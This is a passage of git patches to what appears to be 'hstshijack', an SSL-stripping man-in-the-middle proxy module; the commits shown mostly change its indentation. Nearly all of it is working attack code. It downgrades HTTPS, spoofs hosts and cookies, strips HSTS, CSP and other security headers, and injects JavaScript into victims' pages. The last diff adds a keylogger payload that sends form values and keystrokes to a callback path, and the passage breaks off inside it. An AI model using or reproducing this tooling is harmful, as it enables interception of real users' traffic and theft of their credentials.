- Object.keys(replacements_req_url_query).forEach(function(selector_string, a) {
- rx_target_hosts_replacements_req_url_query[a].lastIndex = 0;
- if (rx_target_hosts_replacements_req_url_query[a].test(req.Hostname)) {
- replacements_req_url_query[selector_string].forEach(function(rx_set) {
- req.Query = req.Query.replace(rx_set[0], rx_set[1]);
- });
- }
- });
-
- /* Restore cookies. */
- req.Headers = req.Headers
- .replace(rx_global_cookie_host_prefix, "__Host-")
- .replace(rx_global_cookie_secure_prefix, "__Secure-");
- }
+ escaped_domain = req.Hostname.replace(rx_all_dots, "[.]").replace(rx_all_dashes, "[-]");
+ regexp = new RegExp("http://" + escaped_domain + "([^a-z0-9-.]|$)", "ig");
+ regexp.lastIndex = 0;
+ if (regexp.test(req.Headers)) {
+ req.Headers = req.Headers.replace(regexp, "https://" + req.Hostname + "$1");
+ log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + req.Hostname + " in request headers.");
+ }
+ /* Restore HTTPS scheme in request headers if domains are targeted. */
+ for (a = 0; a < target_hosts.length; a++) {
+ matches = req.Headers.match(rx_sets_global_target_hosts[a][0]) || [];
+ for (b = 0; b < matches.length; b++) {
+ escaped_domain = matches[b].replace(rx_all_dots, "\\.");
+ regexp = new RegExp("http://" + escaped_domain + "([^a-z0-9-.]|$)", "ig");
+ req.Headers = req.Headers.replace(regexp, "https://" + matches[b] + "$1");
+ log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + req.Hostname + " in request headers.");
+ }
+ }
+ } else { /* If requested domain is not indexed. */
+
+ // TODO
+ // we can perform an SSL check synchronously with a set timeout, and/or we can
+ // perform an SSL check asynchronously for future hijacking attempts
+
+ log_debug(on_blue + "hstshijack" + reset + " Domain " + bold + req.Hostname + reset + " is not indexed.");
+ /* Restore HTTPS scheme of request if domain is targeted. */
+ for (a = 0; a < target_hosts.length; a++) {
+ rx_sets_whole_target_hosts[a][0].lastIndex = 0;
+ if (rx_sets_whole_target_hosts[a][0].test(req.Hostname)) {
+ req.Scheme = "https";
+ log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of targeted domain " + bold + req.Hostname + reset + ".");
+ break;
+ }
+ }
+ /* Restore HTTPS scheme in request headers if domains are targeted. */
+ for (a = 0; a < target_hosts.length; a++) {
+ matches = req.Headers.match(rx_sets_global_target_hosts[a][0]) || [];
+ for (b = 0; b < matches.length; b++) {
+ escaped_domain = matches[b].replace(rx_all_dots, "\\.");
+ regexp = new RegExp("http://" + escaped_domain + "([^a-z0-9-.]|$)", "ig");
+ req.Headers = req.Headers.replace(regexp, "https://" + matches[b] + "$1");
+ log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + req.Hostname + " in request headers.");
+ }
+ }
+ }
+
+ /* Execute regex header replacements. */
+ Object.keys(replacements_req_headers).forEach(function(selector_string, a) {
+ rx_target_hosts_replacements_req_headers[a].lastIndex = 0;
+ if (rx_target_hosts_replacements_req_headers[a].test(req.Hostname)) {
+ replacements_req_headers[selector_string].forEach(function(rx_set) {
+ req.Headers = req.Headers.replace(rx_set[0], rx_set[1]);
+ });
+ }
+ });
+
+ /* Execute regex body replacements. */
+ Object.keys(replacements_req_body).forEach(function(selector_string, a) {
+ rx_target_hosts_replacements_req_body[a].lastIndex = 0;
+ if (rx_target_hosts_replacements_req_body[a].test(req.Hostname)) {
+ replacements_req_body[selector_string].forEach(function(rx_set) {
+ req.Body = req.Body.replace(rx_set[0], rx_set[1]);
+ });
+ }
+ });
+
+ /* Execute regex URL replacements. */
+ Object.keys(replacements_req_url_path).forEach(function(selector_string, a) {
+ rx_target_hosts_replacements_req_url_path[a].lastIndex = 0;
+ if (rx_target_hosts_replacements_req_url_path[a].test(req.Hostname)) {
+ replacements_req_url_path[selector_string].forEach(function(rx_set) {
+ req.Path = req.Path.replace(rx_set[0], rx_set[1]);
+ });
+ }
+ });
+ Object.keys(replacements_req_url_port).forEach(function(selector_string, a) {
+ rx_target_hosts_replacements_req_url_port[a].lastIndex = 0;
+ if (rx_target_hosts_replacements_req_url_port[a].test(req.Hostname)) {
+ replacements_req_url_port[selector_string].forEach(function(rx_set) {
+ req.Port = req.Port.replace(rx_set[0], rx_set[1]);
+ });
+ }
+ });
+ Object.keys(replacements_req_url_query).forEach(function(selector_string, a) {
+ rx_target_hosts_replacements_req_url_query[a].lastIndex = 0;
+ if (rx_target_hosts_replacements_req_url_query[a].test(req.Hostname)) {
+ replacements_req_url_query[selector_string].forEach(function(rx_set) {
+ req.Query = req.Query.replace(rx_set[0], rx_set[1]);
+ });
+ }
+ });
+
+ /* Restore cookies. */
+ req.Headers = req.Headers
+ .replace(rx_global_cookie_host_prefix, "__Host-")
+ .replace(rx_global_cookie_secure_prefix, "__Secure-");
+ }
}
function onResponse(req, res) {
- res.ReadBody();
-
- /* Remember HTTPS redirects. */
- var location = res.GetHeader("Location", "");
- if (rx_uri_one.test(location)) {
- indexDomain(location.replace(rx_uri_two, "$1"));
- }
-
- /* Ignore this response if whitelisted. */
- if (whitelist[req.Client.MAC]) {
- if (whitelist[req.Client.MAC].indexOf(req.Hostname) !== -1) {
- log_debug(on_blue + "hstshijack" + reset + " Ignoring response from " + bold + req.Hostname + reset + " for " + bold + req.Client.MAC + reset + ".");
- return;
- }
- } else {
- for (a = 0; a < ignore_hosts.length; a++) {
- var whole_regexp_set;
- if (ignore_hosts[a] !== "*") {
- whole_regexp_set = toWholeRegexpSet(ignore_hosts[a], "");
- }
-
- whole_regexp_set[0].lastIndex = 0;
- if (
- ignore_hosts[a] === "*"
- || whole_regexp_set[0].test(req.Hostname)
- ) {
- log_debug(on_blue + "hstshijack" + reset + " Ignored response from " + bold + req.Hostname + reset + ".");
- return;
- }
- }
-
- /* Spoof markup bodies. */
- if (
- rx_content_type_html.test(res.ContentType)
- || rx_extension_html.test(req.Path)
- ) {
- /* Execute regex replacements. */
- Object.keys(replacements_res_body.html).forEach(function(selector_string, a) {
- var rx_sets = replacements_res_body.html[selector_string];
- if (selector_string === "*") {
- rx_sets.forEach(function(rx_set) {
- res.Body = res.Body.replace(rx_set[0], rx_set[1]);
- });
- } else {
- var rx_hostname = rx_target_hosts_replacements_res_body_html[a];
- rx_hostname.lastIndex = 0;
- if (rx_hostname.test(req.Hostname)) {
- rx_sets.forEach(function(rx_set) {
- res.Body = res.Body.replace(rx_set[0], rx_set[1]);
- });
- }
- }
- });
-
- /* Block scripts. */
- for (a = 0; a < block_script_hosts.length; a++) {
- if (
- block_script_hosts[a] === "*"
- || toWholeRegexpSet(block_script_hosts[a], "")[0].test(req.Hostname)
- ) {
- res.Body = res.Body.replace(rx_html_script_open_tag, "
\n";
- res.Body = res.Body.slice(0, match.index) +
- injection +
- res.Body.slice(match.index + match[0].length, res.Body.length);
- } else {
- res.Body =
- "\n" +
- res.Body;
- }
- }
- log_debug(on_blue + "hstshijack" + reset + " Injected document from " + bold + req.Hostname + reset + " for " + bold + req.Client.MAC + reset);
- }
- }
-
- /* Spoof JavaScript bodies. */
- if (
- rx_content_type_js.test(res.ContentType)
- || rx_extension_js.test(req.Path)
- ) {
- /* Block scripts. */
- for (a = 0; a < block_script_hosts.length; a++) {
- if (
- block_script_hosts[a] === "*"
- || toWholeRegexpSet(block_script_hosts[a], "")[0].test(req.Hostname)
- ) {
- res.Body = "";
- log_debug(on_blue + "hstshijack" + reset + " Cleared JavaScript resource from " + bold + req.Hostname + reset + ".");
- break;
- }
- }
-
- /* Execute regex replacements. */
- Object.keys(replacements_res_body.javascript).forEach(function(selector_string) {
- var rx_sets = replacements_res_body.javascript[selector_string];
- if (selector_string === "*") {
- rx_sets.forEach(function(rx_set) {
- res.Body = res.Body.replace(rx_set[0], rx_set[1]);
- });
- } else {
- var rx_hostname = rx_target_hosts_replacements_res_body_javascript[a];
- rx_hostname.lastIndex = 0;
- if (rx_hostname.test(req.Hostname)) {
- rx_sets.forEach(function(rx_set) {
- res.Body = res.Body.replace(rx_set[0], rx_set[1]);
- });
- }
- }
- });
-
- /* Inject payloads. */
- injection = "";
- for (a = 0; a < Object.keys(payloads).length; a++) {
- injecting_host = Object.keys(payloads)[a];
- if (
- injecting_host === "*"
- || toWholeRegexpSet(injecting_host, "")[0].test(req.Hostname)
- ) {
- injection = injection + payloads[injecting_host];
- }
- }
- if (injection !== "") {
- res.Body = payload_container_prefix + injection + payload_container_suffix + res.Body;
- log_debug(on_blue + "hstshijack" + reset + " Injected JavaScript file from " + bold + req.Hostname + reset + " for " + bold + req.Client.MAC + reset);
- }
- }
-
- /* Spoof JSON bodies. */
- if (
- rx_content_type_json.test(res.ContentType)
- || rx_extension_json.test(req.Path)
- ) {
- /* Execute regex replacements. */
- Object.keys(replacements_res_body.json).forEach(function(selector_string) {
- var rx_sets = replacements_res_body.json[selector_string];
- if (selector_string === "*") {
- rx_sets.forEach(function(rx_set) {
- res.Body = res.Body.replace(rx_set[0], rx_set[1]);
- });
- } else {
- var rx_hostname = rx_target_hosts_replacements_res_body_json[a];
- rx_hostname.lastIndex = 0;
- if (rx_hostname.test(req.Hostname)) {
- rx_sets.forEach(function(rx_set) {
- res.Body = res.Body.replace(rx_set[0], rx_set[1]);
- });
- }
+ res.ReadBody();
+
+ /* Remember HTTPS redirects. */
+ var location = res.GetHeader("Location", "");
+ if (rx_uri_one.test(location)) {
+ indexDomain(location.replace(rx_uri_two, "$1"));
}
- });
- }
-
- /* Strip SSL from location headers. */
- res.Headers = res.Headers
- .replace(rx_scheme_http_https_colon, "$1:")
- .replace(rx_port_https, "$1");
-
- /* Spoof hosts in headers. */
- for (a = 0; a < target_hosts.length; a++) {
- res.Headers = res.Headers.replace(
- rx_sets_global_target_hosts[a][0],
- rx_sets_global_target_hosts[a][1]);
- }
-
- /* Spoof cookies. */
- var cookie_strings = res.GetHeaders("set-cookie");
- cookie_strings.forEach(function(cookie_string) {
- var cookie = parseCookie(cookie_string);
- if (downgrade_cookies) {
- cookie.sameSite = "";
- cookie.secure = false;
- cookie.partitioned = false;
- cookie.httpOnly = false;
- cookie.name = cookie.name
- .replace(rx_cookie_host_prefix, cookie_host_prefix)
- .replace(rx_cookie_secure_prefix, cookie_secure_prefix);
- }
- if (typeof cookie.domain === "string" && cookie.domain !== "") {
- var selector_string = cookie.domain[0] === "."
- ? "*" + cookie.domain : cookie.domain;
- if (selector_string[0] === "*") {
- for (a = 0; a < target_hosts.length; a++) {
- if (selector_string === target_hosts[a]) {
- cookie.domain = replacement_hosts[a].slice(1);
- break;
- } else {
- rx_sets_whole_target_hosts[a][0].lastIndex = 0;
- if (rx_sets_whole_target_hosts[a][0].test("a" + cookie.domain)) {
- cookie.domain = ("a" + cookie.domain).replace(
- rx_sets_whole_target_hosts[a][0],
- rx_sets_whole_target_hosts[a][1]);
- cookie.domain = cookie.domain.slice(1);
- break;
- }
- }
- }
+
+ /* Ignore this response if whitelisted. */
+ if (whitelist[req.Client.MAC]) {
+ if (whitelist[req.Client.MAC].indexOf(req.Hostname) !== -1) {
+ log_debug(on_blue + "hstshijack" + reset + " Ignoring response from " + bold + req.Hostname + reset + " for " + bold + req.Client.MAC + reset + ".");
+ return;
+ }
} else {
- for (a = 0; a < target_hosts.length; a++) {
- rx_sets_whole_target_hosts[a][0].lastIndex = 0;
- if (rx_sets_whole_target_hosts[a][0].test(selector_string)) {
- cookie.domain = cookie.domain.replace(
- rx_sets_whole_target_hosts[a][0],
- rx_sets_whole_target_hosts[a][1]);
- break;
- }
- }
+ for (a = 0; a < ignore_hosts.length; a++) {
+ var whole_regexp_set;
+ if (ignore_hosts[a] !== "*") {
+ whole_regexp_set = toWholeRegexpSet(ignore_hosts[a], "");
+ }
+
+ whole_regexp_set[0].lastIndex = 0;
+ if (
+ ignore_hosts[a] === "*"
+ || whole_regexp_set[0].test(req.Hostname)
+ ) {
+ log_debug(on_blue + "hstshijack" + reset + " Ignored response from " + bold + req.Hostname + reset + ".");
+ return;
+ }
+ }
+
+ /* Spoof markup bodies. */
+ if (
+ rx_content_type_html.test(res.ContentType)
+ || rx_extension_html.test(req.Path)
+ ) {
+ /* Execute regex replacements. */
+ Object.keys(replacements_res_body.html).forEach(function(selector_string, a) {
+ var rx_sets = replacements_res_body.html[selector_string];
+ if (selector_string === "*") {
+ rx_sets.forEach(function(rx_set) {
+ res.Body = res.Body.replace(rx_set[0], rx_set[1]);
+ });
+ } else {
+ var rx_hostname = rx_target_hosts_replacements_res_body_html[a];
+ rx_hostname.lastIndex = 0;
+ if (rx_hostname.test(req.Hostname)) {
+ rx_sets.forEach(function(rx_set) {
+ res.Body = res.Body.replace(rx_set[0], rx_set[1]);
+ });
+ }
+ }
+ });
+
+ /* Block scripts. */
+ for (a = 0; a < block_script_hosts.length; a++) {
+ if (
+ block_script_hosts[a] === "*"
+ || toWholeRegexpSet(block_script_hosts[a], "")[0].test(req.Hostname)
+ ) {
+ res.Body = res.Body.replace(rx_html_script_open_tag, "
\n";
+ res.Body = res.Body.slice(0, match.index) +
+ injection +
+ res.Body.slice(match.index + match[0].length, res.Body.length);
+ } else {
+ res.Body =
+ "\n" +
+ res.Body;
+ }
+ }
+ log_debug(on_blue + "hstshijack" + reset + " Injected document from " + bold + req.Hostname + reset + " for " + bold + req.Client.MAC + reset);
+ }
+ }
+
+ /* Spoof JavaScript bodies. */
+ if (
+ rx_content_type_js.test(res.ContentType)
+ || rx_extension_js.test(req.Path)
+ ) {
+ /* Block scripts. */
+ for (a = 0; a < block_script_hosts.length; a++) {
+ if (
+ block_script_hosts[a] === "*"
+ || toWholeRegexpSet(block_script_hosts[a], "")[0].test(req.Hostname)
+ ) {
+ res.Body = "";
+ log_debug(on_blue + "hstshijack" + reset + " Cleared JavaScript resource from " + bold + req.Hostname + reset + ".");
+ break;
+ }
+ }
+
+ /* Execute regex replacements. */
+ Object.keys(replacements_res_body.javascript).forEach(function(selector_string) {
+ var rx_sets = replacements_res_body.javascript[selector_string];
+ if (selector_string === "*") {
+ rx_sets.forEach(function(rx_set) {
+ res.Body = res.Body.replace(rx_set[0], rx_set[1]);
+ });
+ } else {
+ var rx_hostname = rx_target_hosts_replacements_res_body_javascript[a];
+ rx_hostname.lastIndex = 0;
+ if (rx_hostname.test(req.Hostname)) {
+ rx_sets.forEach(function(rx_set) {
+ res.Body = res.Body.replace(rx_set[0], rx_set[1]);
+ });
+ }
+ }
+ });
+
+ /* Inject payloads. */
+ injection = "";
+ for (a = 0; a < Object.keys(payloads).length; a++) {
+ injecting_host = Object.keys(payloads)[a];
+ if (
+ injecting_host === "*"
+ || toWholeRegexpSet(injecting_host, "")[0].test(req.Hostname)
+ ) {
+ injection = injection + payloads[injecting_host];
+ }
+ }
+ if (injection !== "") {
+ res.Body = payload_container_prefix + injection + payload_container_suffix + res.Body;
+ log_debug(on_blue + "hstshijack" + reset + " Injected JavaScript file from " + bold + req.Hostname + reset + " for " + bold + req.Client.MAC + reset);
+ }
+ }
+
+ /* Spoof JSON bodies. */
+ if (
+ rx_content_type_json.test(res.ContentType)
+ || rx_extension_json.test(req.Path)
+ ) {
+ /* Execute regex replacements. */
+ Object.keys(replacements_res_body.json).forEach(function(selector_string) {
+ var rx_sets = replacements_res_body.json[selector_string];
+ if (selector_string === "*") {
+ rx_sets.forEach(function(rx_set) {
+ res.Body = res.Body.replace(rx_set[0], rx_set[1]);
+ });
+ } else {
+ var rx_hostname = rx_target_hosts_replacements_res_body_json[a];
+ rx_hostname.lastIndex = 0;
+ if (rx_hostname.test(req.Hostname)) {
+ rx_sets.forEach(function(rx_set) {
+ res.Body = res.Body.replace(rx_set[0], rx_set[1]);
+ });
+ }
+ }
+ });
+ }
+
+ /* Strip SSL from location headers. */
+ res.Headers = res.Headers
+ .replace(rx_scheme_http_https_colon, "$1:")
+ .replace(rx_port_https, "$1");
+
+ /* Spoof hosts in headers. */
+ for (a = 0; a < target_hosts.length; a++) {
+ res.Headers = res.Headers.replace(
+ rx_sets_global_target_hosts[a][0],
+ rx_sets_global_target_hosts[a][1]);
+ }
+
+ /* Spoof cookies. */
+ var cookie_strings = res.GetHeaders("set-cookie");
+ cookie_strings.forEach(function(cookie_string) {
+ var cookie = parseCookie(cookie_string);
+ if (downgrade_cookies) {
+ cookie.sameSite = "";
+ cookie.secure = false;
+ cookie.partitioned = false;
+ cookie.httpOnly = false;
+ cookie.name = cookie.name
+ .replace(rx_cookie_host_prefix, cookie_host_prefix)
+ .replace(rx_cookie_secure_prefix, cookie_secure_prefix);
+ }
+ if (typeof cookie.domain === "string" && cookie.domain !== "") {
+ var selector_string = cookie.domain[0] === "."
+ ? "*" + cookie.domain : cookie.domain;
+ if (selector_string[0] === "*") {
+ for (a = 0; a < target_hosts.length; a++) {
+ if (selector_string === target_hosts[a]) {
+ cookie.domain = replacement_hosts[a].slice(1);
+ break;
+ } else {
+ rx_sets_whole_target_hosts[a][0].lastIndex = 0;
+ if (rx_sets_whole_target_hosts[a][0].test("a" + cookie.domain)) {
+ cookie.domain = ("a" + cookie.domain).replace(
+ rx_sets_whole_target_hosts[a][0],
+ rx_sets_whole_target_hosts[a][1]);
+ cookie.domain = cookie.domain.slice(1);
+ break;
+ }
+ }
+ }
+ } else {
+ for (a = 0; a < target_hosts.length; a++) {
+ rx_sets_whole_target_hosts[a][0].lastIndex = 0;
+ if (rx_sets_whole_target_hosts[a][0].test(selector_string)) {
+ cookie.domain = cookie.domain.replace(
+ rx_sets_whole_target_hosts[a][0],
+ rx_sets_whole_target_hosts[a][1]);
+ break;
+ }
+ }
+ }
+ }
+ res.Headers = res.Headers.replace(
+ cookie_string,
+ cookieToResponseHeaderValue(cookie));
+ });
+
+ /* Remove security headers. */
+ res.Headers = res.Headers
+ .replace(rx_header_csp, "")
+ .replace(rx_header_cspro, "")
+ .replace(rx_header_corp, "");
+ res.RemoveHeader("Strict-Transport-Security");
+ res.RemoveHeader("Public-Key-Pins");
+ res.RemoveHeader("Public-Key-Pins-Report-Only");
+ res.RemoveHeader("X-Frame-Options");
+ res.RemoveHeader("X-Content-Type-Options");
+ res.RemoveHeader("X-Download-Options");
+ res.RemoveHeader("X-Permitted-Cross-Domain-Policies");
+ res.RemoveHeader("X-XSS-Protection");
+ res.RemoveHeader("Expect-Ct");
+
+ /* Set insecure headers. */
+ allowed_origin = res.GetHeader("Access-Control-Allow-Origin", "*");
+ if (allowed_origin !== "*") {
+ for (a = 0; a < target_hosts.length; a++) {
+ rx_sets_global_target_hosts[a][0].lastIndex = 0;
+ if (rx_sets_global_target_hosts[a][0].test(allowed_origin)) {
+ allowed_origin = allowed_origin.replace(
+ rx_sets_global_target_hosts[a][0],
+ rx_sets_global_target_hosts[a][1]);
+ break;
+ }
+ }
+ } else {
+ var request_origin = req.GetHeader("origin", "");
+ if (request_origin !== "") {
+ for (a = 0; a < target_hosts.length; a++) {
+ rx_sets_global_target_hosts[a][0].lastIndex = 0;
+ if (rx_sets_global_target_hosts[a][0].test(request_origin)) {
+ allowed_origin = request_origin
+ .replace(rx_scheme_http_https_colon, "$1:")
+ .replace(
+ rx_sets_global_target_hosts[a][0],
+ rx_sets_global_target_hosts[a][1]);
+ break;
+ }
+ }
+ }
+ }
+ res.SetHeader("Access-Control-Allow-Credentials", "true");
+ res.SetHeader("Access-Control-Allow-Origin", allowed_origin);
+ res.SetHeader("Access-Control-Allow-Methods", "*");
+ res.SetHeader("Access-Control-Allow-Headers", "*");
+ res.SetHeader("Cross-Origin-Embedder-Policy", "unsafe-none");
+ res.SetHeader("Cross-Origin-Opener-Policy", "unsafe-none");
+ /* Spoof preflight headers. */
+ if (req.Method === "OPTIONS") {
+ var requested_headers = req.GetHeader("Access-Control-Request-Headers", "");
+ if (requested_headers !== "")
+ res.SetHeader("Access-Control-Allow-Headers", requested_headers);
+ }
+ res.SetHeader("Cache-Control", "no-cache, no-store, must-revalidate");
+ res.SetHeader("Expires", "Fri, 20 Apr 2018 04:20:00 GMT");
+ res.SetHeader("Pragma", "no-cache");
}
- }
- res.Headers = res.Headers.replace(
- cookie_string,
- cookieToResponseHeaderValue(cookie));
- });
-
- /* Remove security headers. */
- res.Headers = res.Headers
- .replace(rx_header_csp, "")
- .replace(rx_header_cspro, "")
- .replace(rx_header_corp, "");
- res.RemoveHeader("Strict-Transport-Security");
- res.RemoveHeader("Public-Key-Pins");
- res.RemoveHeader("Public-Key-Pins-Report-Only");
- res.RemoveHeader("X-Frame-Options");
- res.RemoveHeader("X-Content-Type-Options");
- res.RemoveHeader("X-Download-Options");
- res.RemoveHeader("X-Permitted-Cross-Domain-Policies");
- res.RemoveHeader("X-XSS-Protection");
- res.RemoveHeader("Expect-Ct");
-
- /* Set insecure headers. */
- allowed_origin = res.GetHeader("Access-Control-Allow-Origin", "*");
- if (allowed_origin !== "*") {
- for (a = 0; a < target_hosts.length; a++) {
- rx_sets_global_target_hosts[a][0].lastIndex = 0;
- if (rx_sets_global_target_hosts[a][0].test(allowed_origin)) {
- allowed_origin = allowed_origin.replace(
- rx_sets_global_target_hosts[a][0],
- rx_sets_global_target_hosts[a][1]);
- break;
- }
- }
- } else {
- var request_origin = req.GetHeader("origin", "");
- if (request_origin !== "") {
- for (a = 0; a < target_hosts.length; a++) {
- rx_sets_global_target_hosts[a][0].lastIndex = 0;
- if (rx_sets_global_target_hosts[a][0].test(request_origin)) {
- allowed_origin = request_origin
- .replace(rx_scheme_http_https_colon, "$1:")
- .replace(
- rx_sets_global_target_hosts[a][0],
- rx_sets_global_target_hosts[a][1]);
- break;
- }
- }
- }
- }
- res.SetHeader("Access-Control-Allow-Credentials", "true");
- res.SetHeader("Access-Control-Allow-Origin", allowed_origin);
- res.SetHeader("Access-Control-Allow-Methods", "*");
- res.SetHeader("Access-Control-Allow-Headers", "*");
- res.SetHeader("Cross-Origin-Embedder-Policy", "unsafe-none");
- res.SetHeader("Cross-Origin-Opener-Policy", "unsafe-none");
- /* Spoof preflight headers. */
- if (req.Method === "OPTIONS") {
- var requested_headers = req.GetHeader("Access-Control-Request-Headers", "");
- if (requested_headers !== "")
- res.SetHeader("Access-Control-Allow-Headers", requested_headers);
- }
- res.SetHeader("Cache-Control", "no-cache, no-store, must-revalidate");
- res.SetHeader("Expires", "Fri, 20 Apr 2018 04:20:00 GMT");
- res.SetHeader("Pragma", "no-cache");
- }
}
+
From b4d9c7984dca56106af5698cf9994b8c3818c6a3 Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Sun, 11 May 2025 12:38:16 +0200
Subject: [PATCH 22/32] Change indentation to tabs.
---
hstshijack/payloads/google-search.js | 36 ++++++++++++++--------------
1 file changed, 18 insertions(+), 18 deletions(-)
diff --git a/hstshijack/payloads/google-search.js b/hstshijack/payloads/google-search.js
index 8465fd6..7b8aa1c 100644
--- a/hstshijack/payloads/google-search.js
+++ b/hstshijack/payloads/google-search.js
@@ -1,23 +1,23 @@
globalThis.addEventListener("DOMContentLoaded", function(){
- "use strict";
+ "use strict";
- if (location.pathname === "/search") {
- document.querySelectorAll("a").forEach(function(obf_hstshijack_var_link){
- if (obf_hstshijack_var_link.href && obf_hstshijack_var_link.href !== "") {
- var obf_hstshijack_var_container = document.createElement("obf_hstshijack_dummy");
- obf_hstshijack_var_container.append(obf_hstshijack_var_link.cloneNode(true))
- obf_hstshijack_var_container.addEventListener("click", function(e){
- e.preventDefault();
- location.href = obf_hstshijack_var_link.href;
- });
- obf_hstshijack_var_link.before(obf_hstshijack_var_container);
- obf_hstshijack_var_link.remove();
- }
- });
- }
+ if (location.pathname === "/search") {
+ document.querySelectorAll("a").forEach(function(obf_hstshijack_var_link){
+ if (obf_hstshijack_var_link.href && obf_hstshijack_var_link.href !== "") {
+ var obf_hstshijack_var_container = document.createElement("obf_hstshijack_dummy");
+ obf_hstshijack_var_container.append(obf_hstshijack_var_link.cloneNode(true))
+ obf_hstshijack_var_container.addEventListener("click", function(e){
+ e.preventDefault();
+ location.href = obf_hstshijack_var_link.href;
+ });
+ obf_hstshijack_var_link.before(obf_hstshijack_var_container);
+ obf_hstshijack_var_link.remove();
+ }
+ });
+ }
- var obf_hstshijack_var_stylesheet = document.createElement("style");
- obf_hstshijack_var_stylesheet.innerText = `.gb_Pa{box-shadow:none}`;
- document.body.append(obf_hstshijack_var_stylesheet);
+ var obf_hstshijack_var_stylesheet = document.createElement("style");
+ obf_hstshijack_var_stylesheet.innerText = `.gb_Pa{box-shadow:none}`;
+ document.body.append(obf_hstshijack_var_stylesheet);
});
From 996898d61773c8045d14e7bb84ea3041dc0f2d5b Mon Sep 17 00:00:00 2001
From: buffermet <29265684+buffermet@users.noreply.github.com>
Date: Sun, 11 May 2025 12:39:11 +0200
Subject: [PATCH 23/32] Change indentation to tabs.
---
hstshijack/payloads/keylogger.js | 266 +++++++++++++++----------------
1 file changed, 133 insertions(+), 133 deletions(-)
diff --git a/hstshijack/payloads/keylogger.js b/hstshijack/payloads/keylogger.js
index d01224a..e8f8738 100644
--- a/hstshijack/payloads/keylogger.js
+++ b/hstshijack/payloads/keylogger.js
@@ -1,141 +1,141 @@
/*
- Hooks the keyup event and onsubmit events of forms and disables form autocompletion.
+ Hooks the keyup event and onsubmit events of forms and disables form autocompletion.
- Remember that any occurrence of 'obf_hstshijack_path_ssl_log', 'obf_hstshijack_path_callback' and
- 'obf_hstshijack_path_whitelist' in this payload will be replaced when the proxy module
- loads and that variable names 'obf_hstshijack_var_target_hosts' and 'obf_hstshijack_var_replacement_hosts'
- are already declared before this is injected.
+ Remember that any occurrence of 'obf_hstshijack_path_ssl_log', 'obf_hstshijack_path_callback' and
+ 'obf_hstshijack_path_whitelist' in this payload will be replaced when the proxy module
+ loads and that variable names 'obf_hstshijack_var_target_hosts' and 'obf_hstshijack_var_replacement_hosts'
+ are already declared before this is injected.
*/
(function(){
- "use strict";
-
- var obf_hstshijack_var_keystrokes = [];
-
- function obf_hstshijack_func_random_string(obf_hstshijack_var_length) {
- var obf_hstshijack_var_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",
- obf_hstshijack_var_buff = new Array(obf_hstshijack_var_length);
- for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_length; obf_hstshijack_var_i++) {
- obf_hstshijack_var_buff[obf_hstshijack_var_i] = obf_hstshijack_var_chars.charAt(parseInt(Math.random() * obf_hstshijack_var_chars.length));
- }
- return obf_hstshijack_var_buff.join("");
- }
-
- function obf_hstshijack_func_callback() {
- try {
- var obf_hstshijack_var_inputs = document.getElementsByTagName("input"),
- obf_hstshijack_var_textareas = document.getElementsByTagName("textarea"),
- obf_hstshijack_var_params = "";
-
- for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_inputs.length; obf_hstshijack_var_i++) {
- if (obf_hstshijack_var_inputs[obf_hstshijack_var_i].value != "") {
- obf_hstshijack_var_params += encodeURIComponent(obf_hstshijack_var_inputs[obf_hstshijack_var_i].name) +
- "=" + encodeURIComponent(obf_hstshijack_var_inputs[obf_hstshijack_var_i].value) +
- (obf_hstshijack_var_i < (obf_hstshijack_var_inputs.length-1) ? "&" : "");
- }
- }
- for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_textareas.length; obf_hstshijack_var_i++) {
- if (obf_hstshijack_var_textareas[obf_hstshijack_var_i].value != "") {
- obf_hstshijack_var_params += encodeURIComponent(obf_hstshijack_var_textareas[obf_hstshijack_var_i].name) +
- "=" + encodeURIComponent(obf_hstshijack_var_textareas[obf_hstshijack_var_i].value) +
- (obf_hstshijack_var_i < (obf_hstshijack_var_textareas.length-1) ? "&" : "");
- }
- }
- if (obf_hstshijack_var_params !== "") {
- obf_hstshijack_var_params += "&";
- }
- obf_hstshijack_var_params += "obf_hstshijack_var_keystrokes=" + encodeURIComponent(obf_hstshijack_var_keystrokes.join(","));
-
- if (obf_hstshijack_var_params.length > 0) {
- var obf_hstshijack_var_req = new XMLHttpRequest();
- obf_hstshijack_var_req.open(
- "POST",
- "http://" + location.host + "obf_hstshijack_path_callback?" + obf_hstshijack_var_params,
- true);
- obf_hstshijack_var_req.send();
- }
- } catch(obf_hstshijack_var_ignore){}
- }
-
- function obf_hstshijack_func_callback_whitelist() {
- try {
- var obf_hstshijack_var_inputs = document.getElementsByTagName("input"),
- obf_hstshijack_var_textareas = document.getElementsByTagName("textarea"),
- obf_hstshijack_var_params = "";
-
- for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_inputs.length; obf_hstshijack_var_i++) {
- if (obf_hstshijack_var_inputs[obf_hstshijack_var_i].value != "") {
- obf_hstshijack_var_params += encodeURIComponent(obf_hstshijack_var_inputs[obf_hstshijack_var_i].name) +
- "=" + encodeURIComponent(obf_hstshijack_var_inputs[obf_hstshijack_var_i].value) +
- (obf_hstshijack_var_i < (obf_hstshijack_var_inputs.length-1) ? "&" : "");
- }
- }
- for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_textareas.length; obf_hstshijack_var_i++) {
- if (obf_hstshijack_var_textareas[obf_hstshijack_var_i].value != "") {
- obf_hstshijack_var_params += encodeURIComponent(obf_hstshijack_var_textareas[obf_hstshijack_var_i].name) +
- "=" + encodeURIComponent(obf_hstshijack_var_textareas[obf_hstshijack_var_i].value) +
- (obf_hstshijack_var_i < (obf_hstshijack_var_textareas.length-1) ? "&" : "");
- }
- }
-
- if (obf_hstshijack_var_params.length > 0) {
- var obf_hstshijack_var_req = new XMLHttpRequest();
- obf_hstshijack_var_req.open(
- "POST",
- "http://" + location.host + "obf_hstshijack_path_whitelist?" + obf_hstshijack_var_params,
- true);
- obf_hstshijack_var_req.send();
- }
